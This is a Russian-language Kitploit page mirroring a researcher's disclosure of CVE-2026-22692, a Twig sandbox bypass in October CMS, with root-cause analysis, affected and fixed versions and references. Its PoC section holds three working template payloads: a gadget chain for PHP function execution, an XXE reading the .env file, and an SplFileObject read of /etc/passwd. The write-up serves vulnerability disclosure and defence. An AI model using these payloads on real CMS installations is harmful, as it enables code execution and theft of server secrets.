Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22692 — CVE-2026-22692 - Critical Twig Sandbox Bypass via collect()->mapInto() allowing RCE/LFI/XXE in October CMS | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-22692
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - Critical Twig Sandbox Bypass via collect()->mapInto() allowing RCE/LFI/XXE in October CMS

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22692: Критический обход изолированной среды Twig через collect()->mapInto(), позволяющий RCE/LFI/XXE (October CMS)

Обзор

ПолеПодробности
CVE IDCVE-2026-22692
СерьезностьУмеренная (CVSS:3.1 4.9)
УведомлениеGHSA-m5qg-jc75-4jp6
Затронутый продуктOctober CMS (<= 4.1.4, <= 3.7.12)
Тип уязвимостиОбход изолированной среды Twig -> RCE, LFI, XXE
ОбнаруженоLukasz Rybak

Классификация CWE

  • CWE-693: Отказ механизма защиты
  • CWE-611: Некорректное ограничение ссылки на внешнюю сущность XML
  • CWE-74: Некорректная нейтрализация специальных элементов в выводе, используемом последующим компонентом (внедрение)

Краткое описание

Критическая уязвимость существует в изолированной среде Twig (Безопасный режим) October CMS, которая позволяет аутентифицированным пользователям с правами редактирования шаблонов обходить ограничения безопасности и выполнять произвольный PHP-код (RCE) или читать произвольные файлы (XXE/LFI) с сервера.

Подробности

Основная причина

Коренная причина находится в October\Rain\Support\SafeCollection. Этот класс реализует интерфейс CallsAnyMethod, который сообщает System\Twig\SecurityPolicy, что для самого объекта коллекции необходимо обходить стандартный список разрешённых методов.

Хотя SafeCollection пытается фильтровать аргументы, чтобы предотвратить непосредственное выполнение вызываемых объектов, он не блокирует метод mapInto($class). Метод mapInto перебирает коллекцию и создаёт экземпляр предоставленного имени класса:

root@kitploit:~
new $class($value, $key);

Это позволяет атакующему создать экземпляр любого класса, известного приложению.

Уязвимость 1: RCE (Выполнение функций)

System\Twig\SecurityPolicy явно разрешает метод __toString() для всех объектов. Создав экземпляр Psy\Readline\Hoa\Xcallable (который оборачивает вызываемый объект) и обернув его в GuzzleHttp\Psr7\FnStream (который вызывает пользовательскую функцию в своём методе __toString через свойство _fn___toString), атакующий может инициировать выполнение произвольных PHP-функций, не требующих аргументов (например, php_uname, phpinfo), просто выведя объект в Twig.

Уязвимость 2: XXE (Произвольное чтение файлов)

Класс SimpleXMLElement принимает флаг опций libxml в качестве второго аргумента конструктора. mapInto() передаёт ключ коллекции как второй аргумент конструктору. Создав коллекцию с ключом 2 (что соответствует LIBXML_NOENT), атакующий может включить подстановку внешних сущностей в SimpleXMLElement, что приводит к немедленному XXE и возможности читать системные файлы.

Уязвимость 3: LFI (Произвольное чтение файлов через SplFileObject)

Более прямая уязвимость локального включения файлов (LFI) существует с использованием нативного PHP-класса SplFileObject. Создав экземпляр SplFileObject с путём к файлу и режимом чтения (передаваемыми через mapInto), атакующий получает итерируемый объект файла. Передача этого объекта в хелпер collect() вызывает немедленную итерацию (через iterator_to_array в ядре фреймворка), что обходит политику блокировки методов Sandbox. Это позволяет читать любой файл, к которому имеет доступ веб-сервер, без необходимости поддержки XML или определённых библиотек вендора.

PoC (Подтверждение концепции)

Предварительные условия

  • Аутентифицированный доступ к панели управления October CMS (или любой функции, позволяющей редактировать шаблоны Twig)
  • CMS_SAFE_MODE=true

Полезная нагрузка 1: RCE (Выполнение php_uname)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

Полезная нагрузка 2: XXE (Чтение файла .env)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Используйте ключ '2' (LIBXML_NOENT), чтобы включить подстановку сущностей в SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

Полезная нагрузка 3: LFI (Чтение /etc/passwd через SplFileObject)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

Влияние

Удалённое выполнение кода (RCE), локальное включение файлов (LFI), внедрение внешних XML-сущностей (XXE).

  • RCE: Позволяет выполнять PHP-код (ограничен функциями без аргументов с гаджетом FnStream, но потенциально расширяемый с помощью других гаджетов).
  • LFI / XXE: Позволяет читать любой файл в файловой системе сервера, к которому имеет доступ веб-пользователь (включая /etc/passwd, конфигурацию базы данных, .env и т.д.) через несколько векторов (SimpleXMLElement или SplFileObject).

Это затрагивает любую установку October CMS, где недоверенные или частично доверенные пользователи имеют доступ к редактору шаблонов CMS, что фактически позволяет им повысить свои привилегии до уровня системного администратора / рута.

Затронутые продукты

  • Пакет: octobercms/october (Packagist)
  • Затронутые версии: <= 4.1.4, <= 3.7.12
  • Исправлено в: 4.1.5, 3.7.13

Ссылки

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

Отказ от ответственности

Данный CVE был ответственно раскрыт в соответствии с практикой координированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных и защитных целей.

Скачать инструмент